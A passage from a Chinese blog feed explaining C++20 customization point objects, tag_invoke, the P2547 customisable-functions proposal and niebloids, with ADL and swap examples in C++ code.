&lt;p&gt;CPO方案正在做的事情，是引入一种全新的耦合形式——我将它称之为&lt;strong&gt;名字耦合&lt;&#x2F;strong&gt;。仅仅是名字和语法要求的匹配，就能够在我们不经意的情况下扰乱函数调用的派发。如果这种情况变的普遍，那么产生意外的可能性就会急剧升高。&lt;&#x2F;p&gt;
&lt;p&gt;我们可不可以审慎的考察我们对于函数名字的使用并且尽量让它符合库的预期？当然可以，但这没有从根本上解决问题，除非你用的库既简单、又清晰，否则当CPO的数量增多的时候，总有失察的风险。——况且，你不会知道第三方库作者的脑子里在想些什么的。&lt;&#x2F;p&gt;
&lt;p&gt;那么我们就需要在为我们的对象设计函数时就需要多一份这种额外的注意：&lt;strong&gt;这个名字是否在哪里具有特殊的含义？我是否应该保留它？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;当然，如果这样注意了，按现在大家对名字的使用数量，暂时不会有什么大的风险。但是问题是：&lt;strong&gt;当我们需要开始考虑这种额外的小心时，证明有些事情就已经不对劲了。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;所以，如果有更好的方法，为什么不采取呢？&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xin-fang-an-1-tag-invoke&quot;&gt;新方案1 - tag_invoke&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;tag_invoke&lt;&#x2F;code&gt;就是我所说的——更好的方法。&lt;&#x2F;p&gt;
&lt;p&gt;就像重载一样，CPO的本质也是&lt;strong&gt;静多态&lt;&#x2F;strong&gt;。那么回想一下我们原本的C++语言系统中，静多态都是怎么实现“定制”的？&lt;&#x2F;p&gt;
&lt;p&gt;当我们要给一个自定义类型提供hash算法，特别是以供其他操作（例如&lt;code&gt;std::unordered_set&lt;&#x2F;code&gt;）调用时，我们会怎么做？&lt;&#x2F;p&gt;
&lt;p&gt;是这样的：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;template &amp;lt;&amp;gt;
struct std::hash&amp;lt;User::A&amp;gt;
{
	std::size_t operator()(const User::A&amp;amp; arg) const
	{
		&amp;#x2F;&amp;#x2F; ...
	}
};

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;当我们要给优先队列指定一个偏序的时候，形式是这样的：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;namespace User{
	struct my_type;
	struct my_type_greater : std::binary_function&amp;lt;my_type, my_type, bool&amp;gt;
	{
		bool operator()(const my_type&amp;amp; lhs, const my_type&amp;amp; rhs) const
		{
			&amp;#x2F;&amp;#x2F; ...
		}
	};
}
std::priority_queue&amp;lt;User::my_type, vector&amp;lt;User::my_type&amp;gt;, User::my_type_greater&amp;gt; pq;

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到，以上两种方式大相径庭，但它们都有一个共同点：&lt;strong&gt;必须显式指明给某种使用机制去使用。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;我们既不可能在&lt;code&gt;User&lt;&#x2F;code&gt;空间里声明一个&lt;code&gt;hash&amp;lt;user_type&amp;gt;&lt;&#x2F;code&gt;functor然后让它自动生效，也不可能让&lt;code&gt;my_type_greater&lt;&#x2F;code&gt;声明过后就自动生效。前者需要我们明确地给&lt;code&gt;std::hash&lt;&#x2F;code&gt;添加特化，后者需要我们把策略明确地写入到&lt;code&gt;priority_queue&lt;&#x2F;code&gt;的模板实参当中去。&lt;&#x2F;p&gt;
&lt;p&gt;只有当我们&lt;strong&gt;明确地&lt;&#x2F;strong&gt;让某个机制去使用我们代码当中的某个实体，这个实体才有可能被它使用。——这是上述传统用法与CPO最大的不同；反之，这种“无需授意”的使用，也是CPO“名字耦合”最大的不安全来源。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;&lt;code&gt;tag_invoke&lt;&#x2F;code&gt;方案解决了这一问题：它通过一种“&lt;strong&gt;显式的&lt;&#x2F;strong&gt;注册机制”引入了这种对于“主动性”的要求，并且把CPO对于global name的占有缩小到了仅有一个。&lt;&#x2F;p&gt;
&lt;p&gt;简而言之，这个方案是这样的：&lt;&#x2F;p&gt;
&lt;p&gt;在CPO方案里，假设我们有一个叫&lt;code&gt;foo(arg0, arg1)&lt;&#x2F;code&gt;的CPO在库中，那么我们user namespace当中的&lt;code&gt;foo(arg0, arg1)&lt;&#x2F;code&gt;也就此被该用法占据了。只要我们用符合该CPO的constraint的形式声明了，那么它就可能被自动的纳入&lt;code&gt;std::foo&lt;&#x2F;code&gt;的派发考虑当中。像这样：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;namespace Lib
{
	namespace detail
	{
		template&amp;lt;typename T&amp;gt;
		void foo(T, T)  &amp;#x2F;&amp;#x2F; default implementation
		{
			std::cout &amp;lt;&amp;lt; &amp;quot;Lib define.&amp;quot; &amp;lt;&amp;lt; std::endl;
		}

		struct cpo_foo
		{
			template&amp;lt;typename T&amp;gt;
			void operator()(T arg0, T arg1) const &amp;#x2F;&amp;#x2F; dispenser
			{
				foo(arg0, arg1); &amp;#x2F;&amp;#x2F; distribute
			}
		};
	}

	inline detail::cpo_foo foo{};
}

namespace User
{
	struct A
	{
		friend void foo(A, A)  &amp;#x2F;&amp;#x2F; ADL implementation
		{
			std::cout &amp;lt;&amp;lt; &amp;quot;User define.&amp;quot; &amp;lt;&amp;lt; std::endl;
		}
	};

	struct B {}; &amp;#x2F;&amp;#x2F; No ADL implementation
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;问题的关键就是在于，dispenser可以直接去找到&lt;code&gt;User&lt;&#x2F;code&gt;中暴露的&lt;code&gt;foo&lt;&#x2F;code&gt;，这很不安全。而&lt;code&gt;tag_invoke&lt;&#x2F;code&gt;方案所做的，就是把&lt;code&gt;cpo_foo&lt;&#x2F;code&gt;的派发&lt;strong&gt;约束在“用户明示用于CPO的实现”中&lt;&#x2F;strong&gt;。这要怎么明示呢？我们上面的&lt;code&gt;std::hash&lt;&#x2F;code&gt;模板特化已经给出了答案：&lt;strong&gt;把所有候选注册成同一个模板的重载&lt;&#x2F;strong&gt;。而对标&lt;code&gt;std::hash&lt;&#x2F;code&gt;模板的框架，我们这里称之为&lt;code&gt;tag_invoke&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;CPO是通过类型+对象实现的，这点给予了&lt;code&gt;tag_invoke&lt;&#x2F;code&gt;很大的便利：&lt;code&gt;tag_invoke&lt;&#x2F;code&gt;是一个函数，他的第一个参数为CPO，仅仅用作“标签”，标明当前&lt;code&gt;tag_invoke&lt;&#x2F;code&gt;派发或调用的是什么函数，后随该函数的实参。原本的派发器将对&lt;code&gt;foo(arg0, arg1)&lt;&#x2F;code&gt;的调用变为了&lt;code&gt;tag_invoke(foo{}, arg0, arg1)&lt;&#x2F;code&gt;（第一个参数传入重载对应的CPO，以表明当前派发谁），因此不管是&lt;code&gt;Lib&lt;&#x2F;code&gt;还是&lt;code&gt;User&lt;&#x2F;code&gt;中，原本的&lt;code&gt;foo&lt;&#x2F;code&gt;实现，当且仅当我们用于CP的时候，将其定义为&lt;code&gt;tag_invoke(Lib::foo{}, arg0, arg1)&lt;&#x2F;code&gt;。由于CPO不存在转型问题，所以重载决议根据第一个实参就控制在了全部&lt;code&gt;foo&lt;&#x2F;code&gt;的&lt;code&gt;tag_invoke&lt;&#x2F;code&gt;实现上。&lt;&#x2F;p&gt;
&lt;p&gt;将上例用&lt;code&gt;tag_invoke&lt;&#x2F;code&gt;改写，完整例子如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;iostream&amp;gt;

namespace Lib
{
	template&amp;lt;auto &amp;amp;tag_name&amp;gt;
	using tag_t = std::decay_t&amp;lt;decltype(tag_name)&amp;gt;; &amp;#x2F;&amp;#x2F; tool for parsing CPO&amp;#x27;s type.

	namespace detail
	{
		struct cpo_foo
		{
			template&amp;lt;typename T&amp;gt;
			void operator()(T arg0, T arg1) const &amp;#x2F;&amp;#x2F; dispenser
			{
				tag_invoke(cpo_foo{}, arg0, arg1); &amp;#x2F;&amp;#x2F; distribute
			}
		};

		template&amp;lt;typename T&amp;gt;
		void tag_invoke(cpo_foo, T, T)  &amp;#x2F;&amp;#x2F; default implementation
		{
			std::cout &amp;lt;&amp;lt; &amp;quot;Lib define.&amp;quot; &amp;lt;&amp;lt; std::endl;
		}
	}

	inline detail::cpo_foo foo{};
}

namespace User
{
	struct A
	{
		friend void tag_invoke(Lib::tag_t&amp;lt;Lib::foo&amp;gt;, A, A)  &amp;#x2F;&amp;#x2F; ADL implementation
		{
			std::cout &amp;lt;&amp;lt; &amp;quot;User define.&amp;quot; &amp;lt;&amp;lt; std::endl;
		}
	};

	struct B {};  &amp;#x2F;&amp;#x2F; No ADL implementation
}

using namespace Lib;

int main()
{
	User::A a;
	foo(a, a);
	User::B b;
	foo(b, b);
	return 0;
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;输出：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plaintext&quot; class=&quot;language-plaintext &quot;&gt;&lt;code class=&quot;language-plaintext&quot; data-lang=&quot;plaintext&quot;&gt;User define.
Lib define.

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;就这样，大量不同global name的独占，变成了一个global name+不同的标签。&lt;strong&gt;这本质是一种封装。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;我的看法：&lt;&#x2F;p&gt;
&lt;p&gt;CPO在名字使用上的新的、不易察觉的、危险的耦合，让我无法喜欢这个方案。正因如此，&lt;code&gt;tag_invoke&lt;&#x2F;code&gt;&lt;strong&gt;是我目前最喜欢的解决办法&lt;&#x2F;strong&gt;。相比于下面要叙述的语言机制方案，它也足够保守：如果能够通过技巧去解决问题，还是尽量避免对语言进行改动，尤其是增加新的关键字用法。略微增加库的代码量不是问题，只要它有合理的对外屏障；但提出新的关键字总是一个需要谨慎的问题。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xin-fang-an-2-ding-zhi-dian-han-shu&quot;&gt;新方案2 - 定制点函数&lt;&#x2F;h2&gt;
&lt;p&gt;现在我们去考虑一些更本质的问题——我们之前提到过，有没有觉得“定制点”和一些C++中已经存在的东西非常的相似？&lt;&#x2F;p&gt;
&lt;p&gt;“根据不同的对象把同一功能（接口）派发给不同的具体实现”——这不就是&lt;strong&gt;虚函数&lt;&#x2F;strong&gt;嘛！&lt;&#x2F;p&gt;
&lt;p&gt;从本质上说，我们&lt;strong&gt;可以认为定制点对象就是静态、非类的虚函数&lt;&#x2F;strong&gt;&lt;sup&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zclll.com&#x2F;index.php&#x2F;cpp&#x2F;cpo_niebloid.html#footnotes-def-4&quot;&gt;4&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;，那么自然有一种想法，就是把它的实现通过“虚函数”一样的新机制去实现，不再需要我们为了一些ADL、functor之类的tricky method去绞尽脑汁了。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.open-std.org&#x2F;jtc1&#x2F;sc22&#x2F;wg21&#x2F;docs&#x2F;papers&#x2F;2022&#x2F;p2547r0.pdf&quot;&gt;P2547R0 - Language support for customisable functions (open-std.org)&lt;&#x2F;a&gt;这个提案就给出了这样的建议，我们直接把&lt;code&gt;virtual&lt;&#x2F;code&gt;、&lt;code&gt;override&lt;&#x2F;code&gt;、&lt;code&gt;=0&lt;&#x2F;code&gt;……这些类继承当中的东西挪到非类的函数调用中来，把具体细节让编译器去实现，不就好了么？&lt;&#x2F;p&gt;
&lt;p&gt;比如这样&lt;sup&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zclll.com&#x2F;index.php&#x2F;cpp&#x2F;cpo_niebloid.html#footnotes-def-3&quot;&gt;3&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;namespace shapes {
	template&amp;lt;typename T&amp;gt;
	virtual float area(const T&amp;amp; shape) noexcept = 0;
}
namespace mylib {
	struct circle {
		float radius;
	};
	inline float shapes::area(const circle&amp;amp; c) noexcept override {
		return c.radius * c.radius * std::numbers::pi_v&amp;lt;float&amp;gt;;
	}
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;当然，该提案只是目前借鉴了虚函数的语法，但它和虚函数有最大的区别：如我们前面一直做的一样，定制点函数是可以编译期解决重载的，它并不会真正引入“虚表”机制而带来运行时开销！&lt;&#x2F;p&gt;
&lt;p&gt;我的看法：&lt;&#x2F;p&gt;
&lt;p&gt;引入新的关键字、新的语言机制总是要慎之又慎。能够通过库内手法去解决的问题，尽量不要这样做。事实上，LWG这些年一直也在秉持这种态度，我认为是正确的。因为在库内通过tricky method去解决问题，即使会很麻烦，这种麻烦并不会外溢到使用时，是我们可以忽略的。而对语言的改变，&lt;strong&gt;不免会带来一些不可忽略的弊端&lt;&#x2F;strong&gt;——哪怕是最简单的关键字冲突。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h2&gt;
&lt;p&gt;作为后来者，本文在很大程度上参考了下文罗列参考文献当中的第一篇，这篇文章非常详实，并且涉及了许多细节问题，十分建议拓展阅读。然而在关键的逻辑叙述上，本文与之存在很大不同。该文与许多其他分析CPO的文章，都把“两步法的繁琐和易错”当做一个主要的问题（可能是因为，niebler也这么认为了吧~），但私以为这完全不涉及问题的核心。CPO解决的问题核心如文中所说，是：&lt;strong&gt;两步法没有解决真正的“定制”问题&lt;&#x2F;strong&gt;，它只支持很简陋的“ADL优先”逻辑。因此，本文重新以该角度切入，引出了CPO和niebloid的发明。&lt;&#x2F;p&gt;
&lt;p&gt;除了对CPO和niebloid这两个语言技术、模型的了解外，它们引出的对于“静多态”的思考，同样是值得进一步研究的：&lt;code&gt;tag_invoke&lt;&#x2F;code&gt;的本质就是&lt;code&gt;std::hash&lt;&#x2F;code&gt;的基于特化的多态；定制点函数的本质就是虚函数的基于语言机制的多态。那么还有没有其他的静多态手法可以用于解决这个问题呢？值得思考。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;can-kao-wen-xian&quot;&gt;参考文献&lt;&#x2F;h2&gt;
&lt;p&gt;本文主要的参考文献是：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.zhihu.com&#x2F;question&#x2F;518132411&quot;&gt;如何理解 C++ 中的 定制点对象 这一概念？为什么要这样设计？ - 知乎 (zhihu.com)&lt;&#x2F;a&gt;下&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.zhihu.com&#x2F;people&#x2F;mick235711&quot;&gt;Mick235711&lt;&#x2F;a&gt;的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.zhihu.com&#x2F;question&#x2F;518132411&#x2F;answer&#x2F;2360830245&quot;&gt;回答&lt;&#x2F;a&gt;，而它的主要参考文献可能来自&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;brevzin.github.io&#x2F;c++&#x2F;2020&#x2F;12&#x2F;19&#x2F;cpo-niebloid&#x2F;&quot;&gt;Niebloids and Customization Point Objects&lt;&#x2F;a&gt;，这篇文章已经整理的比较不错了。&lt;&#x2F;p&gt;
&lt;p&gt;如果想要多一些思考，我推荐继续阅读Barry的另一篇文章：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;brevzin.github.io&#x2F;c++&#x2F;2020&#x2F;12&#x2F;01&#x2F;tag-invoke&#x2F;&quot;&gt;Why tag_invoke is not the solution I want&lt;&#x2F;a&gt;，它提供了多种“定制”方案的比较思路。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;tag_invoke&lt;&#x2F;code&gt;的提案在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.open-std.org&#x2F;jtc1&#x2F;sc22&#x2F;wg21&#x2F;docs&#x2F;papers&#x2F;2019&#x2F;p1895r0.pdf&quot;&gt;p1895r0.pdf (open-std.org)&lt;&#x2F;a&gt;；&lt;&#x2F;p&gt;
&lt;p&gt;定制点函数（关键字支持）的提案则是&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.open-std.org&#x2F;jtc1&#x2F;sc22&#x2F;wg21&#x2F;docs&#x2F;papers&#x2F;2022&#x2F;p2547r0.pdf&quot;&gt;P2547R0 - Language support for customisable functions (open-std.org)&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>C++20 中的 CPO（定制点对象）与 niebloid</title>
        <published>2024-03-15T00:00:00+00:00</published>
        <updated>2024-03-18T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/c-20-中的-cpo-定制点对象-与-niebloid/"/>
        <id>https://vercel.juzhong.asia/obsidian/c-20-中的-cpo-定制点对象-与-niebloid/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/c-20-中的-cpo-定制点对象-与-niebloid/">&lt;h2 id=&quot;c-20-cpo-he-ranges-xin-suan-fa&quot;&gt;C++ 20 CPO 和 Ranges 新算法&lt;&#x2F;h2&gt;
&lt;p&gt;在之前的 Ranges 文章中我称 Ranges 为重要改进，不仅仅是因为 Ranges 本身提供了容器无关的抽象，还因为 Ranges 带来了“新的”算法，解决了一些函数查找的历史问题。&lt;&#x2F;p&gt;
&lt;p&gt;这篇文章鸽了好久了，因为理解不到位外加犯懒于是一种都只是半成品草稿，当然，实际上现在发表的这篇也是半成品整理出来的，因为这个话题太复杂了。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;cong-han-shu-cha-zhao-shuo-qi&quot;&gt;从函数查找说起&lt;&#x2F;h4&gt;
&lt;p&gt;C++ 的函数查找机制主要分为两类：基于作用域从内到外的查找和实参依赖查找（ADL）。从内到外的查找很好理解，包括有限定的查找和简单的无限定查找（当然，也有注入类名这种“特殊”规则），而 ADL 作为无限定查找的一种情况，跳出了单纯的从内到外的查找方式，在发展的过程中变得非常复杂。&lt;&#x2F;p&gt;
&lt;p&gt;由于本文重点不在 ADL，本人也没能力解释清楚 ADL 的所有规则，因此仅介绍基本内容。&lt;&#x2F;p&gt;
&lt;p&gt;ADL 人如其名，是参考了函数的实参类型的查找规则，简单来讲，ADL 会根据实参的类型，查找从该类型的类内开始，到包含该类声明的第一个外部的命名空间为止的所有函数声明&#x2F;定义，这代表会查找类内定义和声明的函数，基类的函数，以及存在嵌套类的情况，会查找到其外部类（因为此时还未查找到命名空间）里的函数。&lt;&#x2F;p&gt;
&lt;p&gt;无限定查找的一个重点是无限定查找在内部作用域中找到名字后便不再继续查找外部作用域的名字。&lt;&#x2F;p&gt;
&lt;p&gt;无限定查找有 3 种情况优于 ADL，因此会阻止 ADL：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;如果该调用在类内，则会查找到类内成员的声明&lt;&#x2F;li&gt;
&lt;li&gt;调用的块作用域内的函数声明（注意，&lt;code&gt;using&lt;&#x2F;code&gt; 声明不是函数声明）&lt;&#x2F;li&gt;
&lt;li&gt;通过向外层作用域查找找到非函数，例如对象（变量）和类型，和函数模板&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;第三条是重点，是接下来的内容的核心：如果能查找到变量名，则不使用 ADL。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;cpo&quot;&gt;CPO&lt;&#x2F;h4&gt;
&lt;p&gt;C++ 20 全新设计了一类被叫做 CPO（customization point object，定制点对象）的 “函数”。&lt;&#x2F;p&gt;
&lt;p&gt;所谓的定制点，是指 C++ 静态多态的接口，即定制点是 C++ 中可以由用户或者标准库本身改写默认实现的地方，这些定制点是标准规定的或者约定俗成的。&lt;&#x2F;p&gt;
&lt;p&gt;例如 C++ 11 中的 &lt;code&gt;std::begin&amp;lt;T&amp;gt;(T&amp;amp;)&lt;&#x2F;code&gt;，会自动选择成员函数 &lt;code&gt;begin()&lt;&#x2F;code&gt;，还有就是有些库按照约定俗成的 &lt;code&gt;swap&lt;&#x2F;code&gt; 函数，会优先使用用户定义的 &lt;code&gt;swap&lt;&#x2F;code&gt; 而不是 &lt;code&gt;std::swap&lt;&#x2F;code&gt;，虽然 &lt;code&gt;std::begin&lt;&#x2F;code&gt; 不存在默认实现，但是第三方库仍然可以选择使用成员函数，或者非成员函数。这种选择函数的地方就叫定制点。&lt;&#x2F;p&gt;
&lt;p&gt;这些函数包括在 ranges 和 iterator 头文件中的：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ranges::begin&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ranges::end&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ranges::cbegin&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ranges::cend&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ranges::rbegin&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ranges::rend&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ranges::crbegin&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ranges::crend&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ranges::size&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ranges::ssize&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ranges::empty&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ranges::data&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ranges::cdata&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;以及在 concept 头文件中的&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ranges::swap&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;以及为 C++ 20 的三路比较服务的 compare 头文件里的&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;strong_order&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;weak_order&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;partial_order&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;compare_strong_order_fallback&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;compare_weak_order_fallback&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;compare_partial_order_fallback&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;使用这些新算法就可以自动完成选择操作，这实际上是为了简化定制点的实现。&lt;&#x2F;p&gt;
&lt;p&gt;传统上定制点大概有 2 种方式：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;手动添加特化（注意，不是重载，重载 STL 是未定义行为）&lt;&#x2F;li&gt;
&lt;li&gt;使用 ADL 两步法&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;显然给 STL 加特化是繁琐而且不安全的，扩展性也不够好，因为用户很可能误操作删除了特化，并且有泛型的“特化”是重载，所以这种方法几乎不被使用&lt;&#x2F;p&gt;
&lt;p&gt;另一种方式是使用 ADL 两步法：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
class A {
    void swap(A&amp;amp; other);
}

A a, b;

using std::swap;
swap(a, b);
int i{}, j{};
swap(i, j);

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;由于 &lt;code&gt;swap(a, b)&lt;&#x2F;code&gt; 是一个无限定查找，同时 &lt;code&gt;A&lt;&#x2F;code&gt; 不是基础类型，并且 &lt;code&gt;using&lt;&#x2F;code&gt; 声明不是函数声明（不会阻止 ADL），因此 ADL 生效，找到了 &lt;code&gt;A::swap&lt;&#x2F;code&gt; 并使用，而后面的 &lt;code&gt;swap(i, j)&lt;&#x2F;code&gt; 中由于 &lt;code&gt;int&lt;&#x2F;code&gt; 是基础类型，因此不应用 ADL，并且当前作用域存在 &lt;code&gt;std::swap&lt;&#x2F;code&gt;，因此找到了 &lt;code&gt;std::swap&lt;&#x2F;code&gt; 并使用。&lt;&#x2F;p&gt;
&lt;p&gt;但问题是，开发者和用户必须要严格遵守这个模式，即先使用 &lt;code&gt;using&lt;&#x2F;code&gt; 声明载进行无限定的调用，否则该效果不会被应用：假设把无限定调用改成对 &lt;code&gt;std::swap&lt;&#x2F;code&gt; 的有限定调用，会导致没有使用用户的 &lt;code&gt;swap&lt;&#x2F;code&gt;；而将 &lt;code&gt;using&lt;&#x2F;code&gt; 指令去掉，会导致无法交换 &lt;code&gt;int&lt;&#x2F;code&gt; 类型的变量。&lt;&#x2F;p&gt;
&lt;p&gt;因此，ranges 新算法内部自己实现了 ADL 两步法，所以老的 &lt;code&gt;std::swap&lt;&#x2F;code&gt; 和 ADL 两步法的无限定调用都可以直接改成 &lt;code&gt;range::swap&lt;&#x2F;code&gt;，同时，&lt;code&gt;range&lt;&#x2F;code&gt; 新算法本身是函数对象而不是函数，使得用户可以使用 &lt;code&gt;using&lt;&#x2F;code&gt; 声明引入这个函数对象，同时使用无限定调用，最后一定找到的是这个函数对象。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;yin-cang-you-yuan&quot;&gt;隐藏友元&lt;&#x2F;h4&gt;
&lt;p&gt;在类内的友元函数，如果不在类外部重写声明，是无法通过有限定查找找到的，但可以被无限定查找中的 ADL 找到。&lt;&#x2F;p&gt;
&lt;p&gt;根据以上知识，我们现在可以说，任何定制点优先使用成员函数，如果左操作数不是同类型的对象，例如一些二元运算符的重载，则应实现为隐藏友元。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;niebloids&quot;&gt;Niebloids&lt;&#x2F;h4&gt;
&lt;p&gt;Niebloids 是 C++ 20 添加的 Ranges 新算法的一种叫法，Niebloids 采用了多返回值以及 Concepts 约束，更安全也更易用。&lt;&#x2F;p&gt;
&lt;p&gt;同时，Niebloids 保证在无限定调用能同时找到老 STL 算法和 Niebloids 时，一定优先考虑 Niebloids，而不是老的 STL 算法。&lt;&#x2F;p&gt;
&lt;p&gt;例如：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
using std::vector;
using namespace std::ranges;
&amp;#x2F;&amp;#x2F; or using std::ranges::find;

vetcor&amp;lt;int&amp;gt; a;
find(a.begin(), a.end(), 2);
&amp;#x2F;&amp;#x2F; should call std::ranges::find

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;但是现在存在两个问题：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;vector&lt;&#x2F;code&gt; 在 &lt;code&gt;std&lt;&#x2F;code&gt; 命名空间里，因此 ADL 可以找到 &lt;code&gt;std:find&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;std::find&lt;&#x2F;code&gt; 作为老 STL 算法，通常要求 &lt;code&gt;begin&lt;&#x2F;code&gt; 和 &lt;code&gt;end&lt;&#x2F;code&gt; 迭代器有相同类型，而新算法不要求，因此 &lt;code&gt;std::find&lt;&#x2F;code&gt; 比 &lt;code&gt;std::ranges::find&lt;&#x2F;code&gt; 更特化
同时，&lt;code&gt;std::ranges::find&lt;&#x2F;code&gt; 存在 Concepts，更约束，但是特化优于约束&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;因此如果 &lt;code&gt;std::ranges::find&lt;&#x2F;code&gt; 是普通函数，则上述代码会使用 &lt;code&gt;std::find&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;因此解决方法很简单：将 &lt;code&gt;std::ranges::find&lt;&#x2F;code&gt; 实现为函数对象。&lt;&#x2F;p&gt;
&lt;p&gt;注意，由于 Ranges 新算法不需要定制，因此这些算法不叫作定制点对象。&lt;&#x2F;p&gt;
